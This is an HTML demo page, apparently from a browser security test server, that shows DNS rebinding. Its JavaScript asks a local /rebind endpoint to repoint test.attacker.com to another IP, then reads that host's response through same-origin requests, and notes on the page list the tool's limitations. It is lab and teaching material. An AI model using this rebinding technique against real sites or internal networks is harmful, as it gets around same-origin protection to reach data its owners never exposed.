<html>
<head>
<title>DNS Rebinding Example</title>
<script type="text/javascript" src="/shared/scripts/utils.js"></script>
<script type="text/javascript">
if (window.addEventListener) {
	window.addEventListener('load', f, false);
} else if (window.attachEvent) {
	window.attachEvent('onload', f);
} else {
	window.onload = f;
}

function get_xhr() {
    if (window.XMLHttpRequest) {
        var xmlhttp = new XMLHttpRequest();
    } else {
        var xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
    }
	// are we on windows mobile?
	// 
	return xmlhttp;
}
function read_xhr(xhr, site) {
	var inner = xhr.responseText;
	var text_n = document.createTextNode(site + " data: " + inner);
	var output = document.getElementById('output');
	output.appendChild(text_n);

}
function change_rec() {
	var xhr = get_xhr();
	// ip points to google.com 
	xhr.open('GET','/rebind?zone=attacker.com&host=test.attacker.com&rec_type=A&new_value=66.249.89.99&delay=5', false);
	xhr.send();
	if (xhr.readyState == 4) {
		alert("changed!");
	}
}
function request(site) {
	var xhr = get_xhr();
	xhr.open('GET','/', true);
	xhr.onreadystatechange = (function () {
		if (xhr.readyState == 4) {
			read_xhr(xhr, site);
		}
	});
	xhr.send();
}
function f() {
	request("attacker");
	var xhr = get_xhr();
}

</script>
</head>
<body>
<div>
<p>Note the rebind functionality is somewhat broken. Twisted's resolution of CNAMES don't really seem to work. While it will return the first cname record. 
Subsequent names do not appear to be resolved. Instead we have to use A records :(. Also note most browsers cache the records even with a TTL of 0. 
Finally, you can not point the new record to another host that is running on WBTS as the Host: header will cause twisted to just return the original vhosts data.<br>
<br>
The record will change back to it's original value after 5 seconds.
</p>
<a href="http://test.attacker.com/shared/tools/dns/rebind.html">Can only run from test.attacker.com</a> (Due to Same Origin Policy)<br>
<button onclick="change_rec()">Change test.attacker.com to google's IP</button><br>
<button onclick="request('host')">Send</button><br>
<div id="output"></div>
</div>
</body>
</html>